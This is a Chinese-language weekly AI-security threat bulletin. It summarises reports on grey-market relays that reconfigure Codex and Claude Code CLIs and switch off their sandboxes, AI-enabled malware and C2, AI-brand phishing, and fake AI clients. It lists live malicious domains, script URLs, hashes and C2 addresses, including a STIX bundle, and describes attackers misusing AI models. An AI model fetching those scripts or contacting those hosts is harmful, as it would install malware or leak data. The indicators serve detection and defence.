AI安全专题周报（20261030）
报告编号：TIC-202610-AI05
报告周期：2026年10月24日—10月30日
一、报告概述
基于360威胁情报中心对本期公开网络安全素材的整理与分析，本周AI安全风险主要涉及非官方中转服务篡改安全配置、恶意软件直接调用大模型、AI品牌钓鱼与安装诱饵，以及编码助手执行钩子和MCP配置投毒。相关活动可能导致企业对话与代码外流、凭据窃取、恶意代码执行和安全边界削弱。
报告重点内容涵盖：
· AI工具配置与供应链风险：非官方中转服务可将正版CLI流量转向第三方并关闭沙箱，testmetest活动则利用编码助手钩子及MCP配置触发恶意载荷。
· AI辅助恶意软件与攻击运营：NIK C2将模型调用接入失陷主机，天穹捕获样本尝试让模型选择规避技术；微软报告披露了多个威胁组织采用AI的具体迹象。
· AI品牌与平台共享功能滥用：假冒Anthropic预览邀请用于凭据钓鱼，伪造AI客户端结合DLL侧加载投递恶意程序，Claude共享页面也被用来承载安装诱饵。
───────────────────────────────────
二、本周重点安全事件
（一）非官方AI中转服务关闭沙箱并改写企业数据链路
事件名称：沙箱被切换为“危险全权限”：未授权AI relay服务为企业带来风险
发布日期：2026-10-29
发布机构：Symantec Threat Hunter Team
威胁概述：
Symantec披露，非官方AI中转服务在安装正版Codex和Claude Code命令行工具后，改写客户端配置，将请求发送至第三方基础设施，并关闭沙箱等安全限制。用户可能仍在使用真实的工具界面，却已改变模型连接目的地与本地执行权限。研究指出，这种部署会使代码、提示词及敏感业务信息面临额外的数据处理和权限滥用风险；发现相关配置并不等同已确认每家组织均遭数据窃取。
IOC指标：
· Domain（节选）：vibe.aiok.me, aiok.me, sorryios.io, nuoda.vip, chat.nuoda.vip
· SHA256：2a76a28639d896bb41576d0e32d155b78f38b034e052dfe3a7b7e1a478fc0e24, 4bfe5ca73a4b0988586a46f789aeedba5db575257b58291934cddb9faa606fdb
· URL（节选）：https://vibe.aiok.me/setup-codex.ps1, https://vibe.aiok.me/setup-claudecode.ps1, https://chat1.sorryios.io/codex, https://chat1.sorryios.chat/claudecode, https://chat.nuoda.vip/claudecode
STIX详情：
{
"type": "bundle",
"id": "bundle--ac5be7cb-95bc-4d24-bbb3-0362b37f0275",
"spec_version": "2.1",
"objects": [
{
"type": "intrusion-set",
"spec_version": "2.1",
"id": "intrusion-set--06118712-9f89-47ba-b30a-d3f00eeecb50",
"name": "Unauthorized AI Relay Service",
"created": "2026-10-30T04:57:55Z",
"modified": "2026-10-30T04:57:55Z",
"description": "未经授权的AI中继服务，安装并重新配置真实的OpenAI Codex和Anthropic Claude Code CLI，通过第三方服务器路由请求",
"aliases": [
"Grey Market Relay Service"
],
"x_evidence": "原文称该服务安装真实的OpenAI Codex和Anthropic Claude Code CLIs，并重配置它们将请求路由至第三方服务器",
"x_confidence": 0.95
},
{
"type": "tool",
"spec_version": "2.1",
"id": "tool--337bebdc-342c-4c15-b9b6-06cd2391b59b",
"name": "OpenAI Codex",
"created": "2026-10-30T04:57:55Z",
"modified": "2026-10-30T04:57:55Z",
"description": "被重新配置为通过第三方服务器路由请求的真实OpenAI Codex CLI",
"x_evidence": "原文明确提到该服务安装并重配置OpenAI Codex CLI",
"x_confidence": 0.85
},
{
"type": "tool",
"spec_version": "2.1",
"id": "tool--a2df66f4-9ddc-44e5-a4e4-821e2bc73d60",
"name": "Anthropic Claude Code",
"created": "2026-10-30T04:57:55Z",
"modified": "2026-10-30T04:57:55Z",
"description": "被重新配置为通过第三方服务器路由请求的真实Anthropic Claude Code CLI",
"x_evidence": "原文明确提到该服务安装并重配置Anthropic Claude Code CLI",
"x_confidence": 0.85
},
{
"type": "domain-name",
"spec_version": "2.1",
"id": "domain-name--6b330b26-acb8-489e-9e3d-627f50e8ca30",
"name": "vibe.aiok.me",
"created": "2026-10-30T04:57:55Z",
"modified": "2026-10-30T04:57:55Z",
"description": "原文明确标注为控制域名，用于C2和下载",
"x_evidence": "原文列出vibe[.]aiok[.]me为网络IOC",
"x_confidence": 0.9
},
{
"type": "domain-name",
"spec_version": "2.1",
"id": "domain-name--dfdb730b-f8e0-41ca-812b-f2fd9393a913",
"name": "aiok.me",
"created": "2026-10-30T04:57:55Z",
"modified": "2026-10-30T04:57:55Z",
"description": "原文明确标注为控制域名，用于C2和下载",
"x_evidence": "原文列出aiok[.]me为网络IOC",
"x_confidence": 0.9
},
{
"type": "domain-name",
"spec_version": "2.1",
"id": "domain-name--ddda5757-153e-4b34-8675-529f64f4ff54",
"name": "sorryios.io",
"created": "2026-10-30T04:57:55Z",
"modified": "2026-10-30T04:57:55Z",
"description": "原文明确标注为控制域名，用于C2和下载",
"x_evidence": "原文列出sorryios[.]io为网络IOC",
"x_confidence": 0.9
},
{
"type": "domain-name",
"spec_version": "2.1",
"id": "domain-name--0f18e7c1-f843-46b3-a617-7447978d4ab0",
"name": "nuoda.vip",
"created": "2026-10-30T04:57:55Z",
"modified": "2026-10-30T04:57:55Z",
"description": "原文明确标注为控制域名，用于C2和下载",
"x_evidence": "原文列出nuoda[.]vip为网络IOC",
"x_confidence": 0.9
},
{
"type": "domain-name",
"spec_version": "2.1",
"id": "domain-name--5aa5cd6f-317d-4718-b556-a07b9eb39f8e",
"name": "chat.nuoda.vip",
"created": "2026-10-30T04:57:55Z",
"modified": "2026-10-30T04:57:55Z",
"description": "原文明确标注为控制域名，用于C2和下载",
"x_evidence": "原文列出chat[.]nuoda[.]vip为网络IOC",
"x_confidence": 0.9
},
{
"type": "domain-name",
"spec_version": "2.1",
"id": "domain-name--3de436b9-9b2c-4a1d-9765-58cc8b25e3c4",
"name": "rawchat.cn",
"created": "2026-10-30T04:57:55Z",
"modified": "2026-10-30T04:57:55Z",
"description": "原文明确标注为控制域名，用于C2和下载",
"x_evidence": "原文列出rawchat[.]cn为网络IOC",
"x_confidence": 0.9
},
{
"type": "domain-name",
"spec_version": "2.1",
"id": "domain-name--e2aed543-8da2-42ee-b69e-6b13bab3c5af",
"name": "sharedchat.cc",
"created": "2026-10-30T04:57:55Z",
"modified": "2026-10-30T04:57:55Z",
"description": "原文明确标注为控制域名，用于C2和下载",
"x_evidence": "原文列出sharedchat[.]cc为网络IOC",
"x_confidence": 0.9
},
{
"type": "domain-name",
"spec_version": "2.1",
"id": "domain-name--140cc236-6c96-47f4-bad2-83b1b71db932",
"name": "mirbuds.com",
"created": "2026-10-30T04:57:55Z",
"modified": "2026-10-30T04:57:55Z",
"description": "原文明确标注为控制域名，用于C2和下载",
"x_evidence": "原文列出mirbuds[.]com为网络IOC",
"x_confidence": 0.9
},
{
"type": "domain-name",
"spec_version": "2.1",
"id": "domain-name--f862ed1a-03b4-487b-9611-a635449aae91",
"name": "claudechn.com",
"created": "2026-10-30T04:57:55Z",
"modified": "2026-10-30T04:57:55Z",
"description": "原文明确标注为控制域名，用于C2和下载",
"x_evidence": "原文列出claudechn[.]com为网络IOC",
"x_confidence": 0.9
},
{
"type": "url",
"spec_version": "2.1",
"id": "url--b56dd50a-2f4d-451a-94aa-f704ed7da1fb",
"name": "https://vibe.aiok.me/setup-codex.ps1",
"created": "2026-10-30T04:57:55Z",
"modified": "2026-10-30T04:57:55Z",
"description": "原文明确标注为控制URL，用于下载恶意PowerShell脚本",
"x_evidence": "原文列出hxxps://vibe[.]aiok[.]me/setup-codex.ps1为网络IOC",
"x_confidence": 0.85
},
{
"type": "url",
"spec_version": "2.1",
"id": "url--6005374d-f912-4d60-9e0e-cbbaa8b518c8",
"name": "https://vibe.aiok.me/setup-claudecode.ps1",
"created": "2026-10-30T04:57:55Z",
"modified": "2026-10-30T04:57:55Z",
"description": "原文明确标注为控制URL，用于下载恶意PowerShell脚本",
"x_evidence": "原文列出hxxps://vibe[.]aiok[.]me/setup-claudecode.ps1为网络IOC",
"x_confidence": 0.85
},
{
"type": "url",
"spec_version": "2.1",
"id": "url--54d9155e-7420-4c35-b95d-73f66bf851ee",
"name": "https://chat1.sorryios.io/codex",
"created": "2026-10-30T04:57:55Z",
"modified": "2026-10-30T04:57:55Z",
"description": "原文明确标注为控制URL，用于C2和下载",
"x_evidence": "原文列出hxxps://chat1[.]sorryios[.]io/codex为网络IOC",
"x_confidence": 0.8
},
{
"type": "url",
"spec_version": "2.1",
"id": "url--0954986b-5e98-456e-8f62-38530901bd94",
"name": "https://chat1.sorryios.chat/claudecode",
"created": "2026-10-30T04:57:55Z",
"modified": "2026-10-30T04:57:55Z",
"description": "原文明确标注为控制URL，用于C2和下载",
"x_evidence": "原文列出hxxps://chat1[.]sorryios[.]chat/claudecode为网络IOC",
"x_confidence": 0.8
},
{
"type": "url",
"spec_version": "2.1",
"id": "url--5a683590-bc28-46d0-a9aa-64ed89963bd4",
"name": "https://chat.nuoda.vip/claudecode",
"created": "2026-10-30T04:57:55Z",
"modified": "2026-10-30T04:57:55Z",
"description": "原文明确标注为控制URL，用于C2和下载",
"x_evidence": "原文列出hxxps://chat[.]nuoda[.]vip/claudecode为网络IOC",
"x_confidence": 0.8
},
{
"type": "url",
"spec_version": "2.1",
"id": "url--169c00ba-5f15-448c-8aeb-a085ec363ad0",
"name": "https://chat.rawchat.cn/codex",
"created": "2026-10-30T04:57:55Z",
"modified": "2026-10-30T04:57:55Z",
"description": "原文明确标注为控制URL，用于C2和下载",
"x_evidence": "原文列出hxxps://chat[.]rawchat[.]cn/codex为网络IOC",
"x_confidence": 0.8
},
{
"type": "url",
"spec_version": "2.1",
"id": "url--c78a2426-2b1b-47a7-8082-82db3ad96fa0",
"name": "https://new.sharedchat.cc/codex",
"created": "2026-10-30T04:57:55Z",
"modified": "2026-10-30T04:57:55Z",
"description": "原文明确标注为控制URL，用于C2和下载",
"x_evidence": "原文列出hxxps://new[.]sharedchat[.]cc/codex为网络IOC",
"x_confidence": 0.8
},
{
"type": "url",
"spec_version": "2.1",
"id": "url--dd02c035-8c2b-4a96-afaf-f5c3af7f39b0",
"name": "https://gpt4.mirbuds.com/codex",
"created": "2026-10-30T04:57:55Z",
"modified": "2026-10-30T04:57:55Z",
"description": "原文明确标注为控制URL，用于C2和下载",
"x_evidence": "原文列出hxxps://gpt4[.]mirbuds[.]com/codex为网络IOC",
"x_confidence": 0.8
},
{
"type": "url",
"spec_version": "2.1",
"id": "url--67841adb-eb34-4792-bcdb-e4cb31cc0737",
"name": "https://claudechn.com/codex",
"created": "2026-10-30T04:57:55Z",
"modified": "2026-10-30T04:57:55Z",
"description": "原文明确标注为控制URL，用于C2和下载",
"x_evidence": "原文列出hxxps://claudechn[.]com/codex为网络IOC",
"x_confidence": 0.8
},
{
"type": "url",
"spec_version": "2.1",
"id": "url--d71b16cb-d6dd-422e-914d-4106799fa80a",
"name": "https://chat.nuoda.vip",
"created": "2026-10-30T04:57:55Z",
"modified": "2026-10-30T04:57:55Z",
"description": "原文明确标注为控制URL，用于C2和下载",
"x_evidence": "原文列出hxxps://chat[.]nuoda[.]vip为网络IOC",
"x_confidence": 0.8
},
{
"type": "url",
"spec_version": "2.1",
"id": "url--49244b67-c1c4-42f6-be1f-bf3edaf128b5",
"name": "https://chat1.sorryios.io",
"created": "2026-10-30T04:57:55Z",
"modified": "2026-10-30T04:57:55Z",
"description": "原文明确标注为控制URL，用于C2和下载",
"x_evidence": "原文列出hxxps://chat1[.]sorryios[.]io为网络IOC",
"x_confidence": 0.8
},
{
"type": "url",
"spec_version": "2.1",
"id": "url--bc914459-fdc4-4f3c-b30d-c777893ef455",
"name": "https://chat.nuoda.vip/codex",
"created": "2026-10-30T04:57:55Z",
"modified": "2026-10-30T04:57:55Z",
"description": "原文明确标注为控制URL，用于C2和下载",
"x_evidence": "原文列出hxxps://chat[.]nuoda[.]vip/codex为网络IOC",
"x_confidence": 0.8
},
{
"type": "observed-data",
"spec_version": "2.1",
"id": "observed-data--e2f1d730-2d23-492c-a7c9-25c900723444",
"created": "2026-10-30T04:57:55Z",
"modified": "2026-10-30T04:57:55Z",
"first_observed": "2026-10-30T04:57:55Z",
"last_observed": "2026-10-30T04:57:55Z",
"number_observed": 1,
"objects": {
"0": {
"type": "file",
"name": "2a76a28639d896bb41576d0e32d155b78f38b034e052dfe3a7b7e1a478fc0e24",
"description": "恶意PowerShell脚本的SHA256哈希，用于下载和安装未经授权的中间件服务",
"aliases": [],
"evidence": "原文列出2a76a28639d896bb41576d0e32d155b78f38b034e052dfe3a7b7e1a478fc0e24为文件IOC",
"confidence": 0.9
},
"1": {
"type": "file",
"name": "4bfe5ca73a4b0988586a46f789aeedba5db575257b58291934cddb9faa606fdb",
"description": "恶意PowerShell/bash脚本的SHA256哈希，用于下载和安装未经授权的中间件服务",
"aliases": [],
"evidence": "原文列出4bfe5ca73a4b0988586a46f789aeedba5db575257b58291934cddb9faa606fdb为文件IOC",
"confidence": 0.9
}
}
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--d79d510c-ef6e-497b-9d45-2492d1f33477",
"relationship_type": "uses",
"source_ref": "intrusion-set--06118712-9f89-47ba-b30a-d3f00eeecb50",
"target_ref": "tool--337bebdc-342c-4c15-b9b6-06cd2391b59b",
"created": "2026-10-30T04:57:55Z",
"modified": "2026-10-30T04:57:55Z",
"description": "该组织安装并使用真实的OpenAI Codex CLI",
"x_evidence": "原文明确提到该服务安装并重配置OpenAI Codex CLI",
"x_confidence": 0.85
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--2ee714f5-756e-44f6-b44b-b83109e9086c",
"relationship_type": "uses",
"source_ref": "intrusion-set--06118712-9f89-47ba-b30a-d3f00eeecb50",
"target_ref": "tool--a2df66f4-9ddc-44e5-a4e4-821e2bc73d60",
"created": "2026-10-30T04:57:55Z",
"modified": "2026-10-30T04:57:55Z",
"description": "该组织安装并使用真实的Anthropic Claude Code CLI",
"x_evidence": "原文明确提到该服务安装并重配置Anthropic Claude Code CLI",
"x_confidence": 0.85
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--1d2c47d7-7741-4f05-a83b-682fe78e2662",
"relationship_type": "controls",
"source_ref": "intrusion-set--06118712-9f89-47ba-b30a-d3f00eeecb50",
"target_ref": "domain-name--6b330b26-acb8-489e-9e3d-627f50e8ca30",
"created": "2026-10-30T04:57:55Z",
"modified": "2026-10-30T04:57:55Z",
"description": "该组织控制该域名用于C2和下载",
"x_evidence": "原文列出vibe[.]aiok[.]me为网络IOC，原文明确标注为控制域名",
"x_confidence": 0.9
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--453cf670-6897-4345-b88f-a40cacdd2bbe",
"relationship_type": "controls",
"source_ref": "intrusion-set--06118712-9f89-47ba-b30a-d3f00eeecb50",
"target_ref": "domain-name--dfdb730b-f8e0-41ca-812b-f2fd9393a913",
"created": "2026-10-30T04:57:55Z",
"modified": "2026-10-30T04:57:55Z",
"description": "该组织控制该域名用于C2和下载",
"x_evidence": "原文列出aiok[.]me为网络IOC，原文明确标注为控制域名",
"x_confidence": 0.9
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--b06fc4d6-8d43-44b5-b677-ada1fb3d201d",
"relationship_type": "controls",
"source_ref": "intrusion-set--06118712-9f89-47ba-b30a-d3f00eeecb50",
"target_ref": "domain-name--ddda5757-153e-4b34-8675-529f64f4ff54",
"created": "2026-10-30T04:57:55Z",
"modified": "2026-10-30T04:57:55Z",
"description": "该组织控制该域名用于C2和下载",
"x_evidence": "原文列出sorryios[.]io为网络IOC，原文明确标注为控制域名",
"x_confidence": 0.9
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--9e35fb7a-2c90-4be0-a86d-86a55354d958",
"relationship_type": "controls",
"source_ref": "intrusion-set--06118712-9f89-47ba-b30a-d3f00eeecb50",
"target_ref": "domain-name--0f18e7c1-f843-46b3-a617-7447978d4ab0",
"created": "2026-10-30T04:57:55Z",
"modified": "2026-10-30T04:57:55Z",
"description": "该组织控制该域名用于C2和下载",
"x_evidence": "原文列出nuoda[.]vip为网络IOC，原文明确标注为控制域名",
"x_confidence": 0.9
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--c87c3de2-bc69-4437-a2c8-2e22297085ea",
"relationship_type": "controls",
"source_ref": "intrusion-set--06118712-9f89-47ba-b30a-d3f00eeecb50",
"target_ref": "domain-name--5aa5cd6f-317d-4718-b556-a07b9eb39f8e",
"created": "2026-10-30T04:57:55Z",
"modified": "2026-10-30T04:57:55Z",
"description": "该组织控制该域名用于C2和下载",
"x_evidence": "原文列出chat[.]nuoda[.]vip为网络IOC，原文明确标注为控制域名",
"x_confidence": 0.9
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--b140fd00-9ba9-476e-8ce9-b70abcaaf570",
"relationship_type": "controls",
"source_ref": "intrusion-set--06118712-9f89-47ba-b30a-d3f00eeecb50",
"target_ref": "domain-name--3de436b9-9b2c-4a1d-9765-58cc8b25e3c4",
"created": "2026-10-30T04:57:55Z",
"modified": "2026-10-30T04:57:55Z",
"description": "该组织控制该域名用于C2和下载",
"x_evidence": "原文列出rawchat[.]cn为网络IOC，原文明确标注为控制域名",
"x_confidence": 0.9
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--57af676f-cff2-42e4-92c7-d74ab1401b4f",
"relationship_type": "controls",
"source_ref": "intrusion-set--06118712-9f89-47ba-b30a-d3f00eeecb50",
"target_ref": "domain-name--e2aed543-8da2-42ee-b69e-6b13bab3c5af",
"created": "2026-10-30T04:57:55Z",
"modified": "2026-10-30T04:57:55Z",
"description": "该组织控制该域名用于C2和下载",
"x_evidence": "原文列出sharedchat[.]cc为网络IOC，原文明确标注为控制域名",
"x_confidence": 0.9
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--05b732dc-8ac7-422c-a15a-c1c812cf2ae5",
"relationship_type": "controls",
"source_ref": "intrusion-set--06118712-9f89-47ba-b30a-d3f00eeecb50",
"target_ref": "domain-name--140cc236-6c96-47f4-bad2-83b1b71db932",
"created": "2026-10-30T04:57:55Z",
"modified": "2026-10-30T04:57:55Z",
"description": "该组织控制该域名用于C2和下载",
"x_evidence": "原文列出mirbuds[.]com为网络IOC，原文明确标注为控制域名",
"x_confidence": 0.9
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--59835826-991f-4fdf-a20b-9ff04ad7f0ec",
"relationship_type": "controls",
"source_ref": "intrusion-set--06118712-9f89-47ba-b30a-d3f00eeecb50",
"target_ref": "domain-name--f862ed1a-03b4-487b-9611-a635449aae91",
"created": "2026-10-30T04:57:55Z",
"modified": "2026-10-30T04:57:55Z",
"description": "该组织控制该域名用于C2和下载",
"x_evidence": "原文列出claudechn[.]com为网络IOC，原文明确标注为控制域名",
"x_confidence": 0.9
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--15f3a1ff-c7a6-4945-82c7-d99479203db2",
"relationship_type": "hosts",
"source_ref": "domain-name--6b330b26-acb8-489e-9e3d-627f50e8ca30",
"target_ref": "url--b56dd50a-2f4d-451a-94aa-f704ed7da1fb",
"created": "2026-10-30T04:57:55Z",
"modified": "2026-10-30T04:57:55Z",
"description": "该控制域名托管此恶意URL",
"x_evidence": "原文列出hxxps://vibe[.]aiok[.]me/setup-codex.ps1为网络IOC",
"x_confidence": 0.85
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--4740da17-766a-416f-b499-f24c3f2712b6",
"relationship_type": "hosts",
"source_ref": "domain-name--6b330b26-acb8-489e-9e3d-627f50e8ca30",
"target_ref": "url--6005374d-f912-4d60-9e0e-cbbaa8b518c8",
"created": "2026-10-30T04:57:55Z",
"modified": "2026-10-30T04:57:55Z",
"description": "该控制域名托管此恶意URL",
"x_evidence": "原文列出hxxps://vibe[.]aiok[.]me/setup-claudecode.ps1为网络IOC",
"x_confidence": 0.85
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--7db7d8ba-0a99-40f1-92b8-9468949f72cc",
"relationship_type": "hosts",
"source_ref": "domain-name--ddda5757-153e-4b34-8675-529f64f4ff54",
"target_ref": "url--54d9155e-7420-4c35-b95d-73f66bf851ee",
"created": "2026-10-30T04:57:55Z",
"modified": "2026-10-30T04:57:55Z",
"description": "该控制域名托管此恶意URL",
"x_evidence": "原文列出hxxps://chat1[.]sorryios[.]io/codex为网络IOC",
"x_confidence": 0.8
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--73156eb4-7705-42fa-b05b-3f68a48598db",
"relationship_type": "hosts",
"source_ref": "domain-name--ddda5757-153e-4b34-8675-529f64f4ff54",
"target_ref": "url--49244b67-c1c4-42f6-be1f-bf3edaf128b5",
"created": "2026-10-30T04:57:55Z",
"modified": "2026-10-30T04:57:55Z",
"description": "该控制域名托管此恶意URL",
"x_evidence": "原文列出hxxps://chat1[.]sorryios[.]io为网络IOC",
"x_confidence": 0.8
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--0f3bb78a-8dc7-4553-91aa-e305cc24ba15",
"relationship_type": "hosts",
"source_ref": "domain-name--5aa5cd6f-317d-4718-b556-a07b9eb39f8e",
"target_ref": "url--5a683590-bc28-46d0-a9aa-64ed89963bd4",
"created": "2026-10-30T04:57:55Z",
"modified": "2026-10-30T04:57:55Z",
"description": "该控制域名托管此恶意URL",
"x_evidence": "原文列出hxxps://chat[.]nuoda[.]vip/claudecode为网络IOC",
"x_confidence": 0.8
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--744255b3-dd73-4f36-9a3e-fda0d5f1529f",
"relationship_type": "hosts",
"source_ref": "domain-name--5aa5cd6f-317d-4718-b556-a07b9eb39f8e",
"target_ref": "url--d71b16cb-d6dd-422e-914d-4106799fa80a",
"created": "2026-10-30T04:57:55Z",
"modified": "2026-10-30T04:57:55Z",
"description": "该控制域名托管此恶意URL",
"x_evidence": "原文列出hxxps://chat[.]nuoda[.]vip为网络IOC",
"x_confidence": 0.8
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--a6d4b546-115d-45f9-a163-a2c50b6ed4a8",
"relationship_type": "hosts",
"source_ref": "domain-name--5aa5cd6f-317d-4718-b556-a07b9eb39f8e",
"target_ref": "url--bc914459-fdc4-4f3c-b30d-c777893ef455",
"created": "2026-10-30T04:57:55Z",
"modified": "2026-10-30T04:57:55Z",
"description": "该控制域名托管此恶意URL",
"x_evidence": "原文列出hxxps://chat[.]nuoda[.]vip/codex为网络IOC",
"x_confidence": 0.8
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--1d4dbc75-1541-4719-ab8e-d6fae8e781ae",
"relationship_type": "hosts",
"source_ref": "domain-name--3de436b9-9b2c-4a1d-9765-58cc8b25e3c4",
"target_ref": "url--169c00ba-5f15-448c-8aeb-a085ec363ad0",
"created": "2026-10-30T04:57:55Z",
"modified": "2026-10-30T04:57:55Z",
"description": "该控制域名托管此恶意URL",
"x_evidence": "原文列出hxxps://chat[.]rawchat[.]cn/codex为网络IOC",
"x_confidence": 0.8
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--f62396aa-e2dd-45f5-873e-e0b2fe006fd0",
"relationship_type": "hosts",
"source_ref": "domain-name--e2aed543-8da2-42ee-b69e-6b13bab3c5af",
"target_ref": "url--c78a2426-2b1b-47a7-8082-82db3ad96fa0",
"created": "2026-10-30T04:57:55Z",
"modified": "2026-10-30T04:57:55Z",
"description": "该控制域名托管此恶意URL",
"x_evidence": "原文列出hxxps://new[.]sharedchat[.]cc/codex为网络IOC",
"x_confidence": 0.8
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--86326326-7adf-4bfd-bde6-0a30d47ed982",
"relationship_type": "hosts",
"source_ref": "domain-name--140cc236-6c96-47f4-bad2-83b1b71db932",
"target_ref": "url--dd02c035-8c2b-4a96-afaf-f5c3af7f39b0",
"created": "2026-10-30T04:57:55Z",
"modified": "2026-10-30T04:57:55Z",
"description": "该控制域名托管此恶意URL",
"x_evidence": "原文列出hxxps://gpt4[.]mirbuds[.]com/codex为网络IOC",
"x_confidence": 0.8
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--aed751a4-fb90-4dac-8399-0ffb64c042c4",
"relationship_type": "hosts",
"source_ref": "domain-name--f862ed1a-03b4-487b-9611-a635449aae91",
"target_ref": "url--67841adb-eb34-4792-bcdb-e4cb31cc0737",
"created": "2026-10-30T04:57:55Z",
"modified": "2026-10-30T04:57:55Z",
"description": "该控制域名托管此恶意URL",
"x_evidence": "原文列出hxxps://claudechn[.]com/codex为网络IOC",
"x_confidence": 0.8
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--4d58b4d2-1270-41b8-a2b6-5e037c3c8bf6",
"relationship_type": "uses",
"source_ref": "intrusion-set--06118712-9f89-47ba-b30a-d3f00eeecb50",
"target_ref": "observed-data--e2f1d730-2d23-492c-a7c9-25c900723444",
"created": "2026-10-30T04:57:55Z",
"modified": "2026-10-30T04:57:55Z",
"description": "该组织使用恶意PowerShell脚本下载和安装未经授权的中间件服务",
"x_evidence": "原文列出2a76a28639d896bb41576d0e32d155b78f38b034e052dfe3a7b7e1a478fc0e24为文件IOC，原文明确标注为恶意PowerShell脚本",
"x_confidence": 0.9
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--f9194d4b-211f-4d3f-bc3c-78fc9ee1ada2",
"relationship_type": "uses",
"source_ref": "intrusion-set--06118712-9f89-47ba-b30a-d3f00eeecb50",
"target_ref": "observed-data--e2f1d730-2d23-492c-a7c9-25c900723444",
"created": "2026-10-30T04:57:55Z",
"modified": "2026-10-30T04:57:55Z",
"description": "该组织使用恶意PowerShell/bash脚本下载和安装未经授权的中间件服务",
"x_evidence": "原文列出4bfe5ca73a4b0988586a46f789aeedba5db575257b58291934cddb9faa606fdb为文件IOC，原文明确标注为恶意PowerShell/bash脚本",
"x_confidence": 0.9
}
]
}报告链接：
https://www.security.com/threat-intelligence/openai-claude-unauthorized-relays
───────────────────────────────────
（二）NIK C2将OpenAI接口接入失陷主机攻击流程
事件名称：NIK C2：新型AI驱动的命令与控制框架
发布日期：2026-10-29
发布机构：Cisco Talos
威胁概述：
Cisco Talos披露NIK C2框架，其Windows植入程序具备凭据窃取等功能，并通过ai_generate命令集成OpenAI接口。操作员可在失陷主机上提交提示，辅助分析已获取信息、生成诱饵或支持后续攻击。框架还包含锁屏勒索能力。AI接口是攻击工具的一部分，相关功能不代表OpenAI服务本身存在漏洞，也不能据此推断所有能力均已在受害环境执行。
IOC指标：
· IP：87.120.196.120
· Domain：total-sitevv.lol
报告链接：
https://blog.talosintelligence.com/nik-c2-new-ai-enabled-framework/
───────────────────────────────────
（三）微软追踪朝鲜威胁组织在攻击手法中采用AI
事件名称：追踪朝鲜威胁行为者在攻击手法中采用AI的情况 | 微软安全博客
发布日期：2026-10-29
发布机构：Microsoft Threat Intelligence
威胁概述：
微软威胁情报报告分析多个朝鲜威胁组织在侦察、社会工程、代码开发和攻击运营中采用AI的迹象，包括批量制作面向目标的诱饵、辅助重构代码及尝试合成媒体。报告还描述智能体渗透测试工具被纳入部分行动的情况。微软对不同活动采用了不同置信度，部分AI生成内容和工具使用仍属研究判断，不能统一描述为已证实的完全自主攻击。
IOC指标：
· 暂无公开IOC
报告链接：
https://www.microsoft.com/en-us/security/blog/2026/10/29/tracking-ai-adoption-in-north-korean-threat-actor-tradecraft/
───────────────────────────────────
（四）假冒Anthropic预览邀请诱导用户交出登录凭据
事件名称：您的员工会参加虚假的Anthropic AI预览吗？
发布日期：2026-10-29
发布机构：Cofense
威胁概述：
Cofense披露，攻击者发送假冒Anthropic独家AI预览邀请，借用户对新模型和产品的兴趣引导点击。攻击链滥用合法短链接服务并穿插验证码页面，最终转向假冒Google或Microsoft登录界面以窃取凭据。此类活动主要利用AI品牌和预览资格制造可信度；邮件声称来自AI厂商并不意味着邀请真实有效。
IOC指标：
· Domain：us968web-zoom.us, goo.gle-access-eventregister.icu, office.com-access-sharepoint.com
报告链接：
https://cofense.com/blog/would-your-employees-join-a-fake-anthropic-ai-preview
───────────────────────────────────
（五）木马向大模型提交环境信息以选择规避方案
事件名称：【天穹】当木马开始向 AI 请教：一例“LLM 辅助规避”样本的完整剖析
发布日期：2026-10-29
发布机构：奇安信技术研究院
威胁概述：
奇安信天穹沙箱报告描述了一例尝试利用大模型辅助规避检测的木马。样本收集运行环境信息，并将结构化结果及候选规避技术发送至模型，要求返回适合当前环境的方案。样本同时包含反向Shell及其他本地恶意功能。模型返回建议与实际成功绕过防护是两个不同环节，报告据此揭示的是恶意程序将模型接入运行决策的尝试。
IOC指标：
· MD5：9b5b0529dba5a43ebd01ba354ee30a25
· SHA1：5ce104df7cded4ef8439e69887b332b35538d41a
192.168.1.135:4444为样本中的私有网络地址，仅作行为与环境线索，不作为公网恶意基础设施封禁依据。
报告链接：
http://mp.weixin.qq.com/s?__biz=Mzg4OTU4MjQ4Mg==&mid=2247489468&idx=1&sn=b4dd0a3561fee50d6c2c7d186bf9902a
───────────────────────────────────
（六）假冒ChatGPT和Claude客户端借签名程序侧加载恶意DLL
事件名称：通过签名的 ChatGPT 和 Claude 二进制文件部署的过往把戏
发布日期：2026-10-27
发布机构：Check Point Research
威胁概述：
Check Point Research分析了一组假冒AI桌面应用的GitHub项目。攻击者借ChatGPT、Claude等名称吸引用户下载，将合法签名的安装程序与恶意winmm.dll等组件放在同一目录，通过DLL侧加载启动恶意链路，关联Yoba载荷及后续资源滥用风险。合法签名只能说明被签名文件的来源，不能证明整个压缩包和同目录组件安全。
IOC指标：
· Domain：gpt-5-6.github.io, gpt-6-astra.github.io, opus-5-0.github.io, calm-piano-floats-313.dedyn.io
· URL：https://files.catbox.moe/z5zpy9.dat
· Domain:Port：3zciedc3enu4muwc5adxciyk6u3juhvhvbv6bfrk2arawlvb7k7ovxad.onion:443
· IP:Port：51.89.228.250:21668, 51.89.231.85:24526
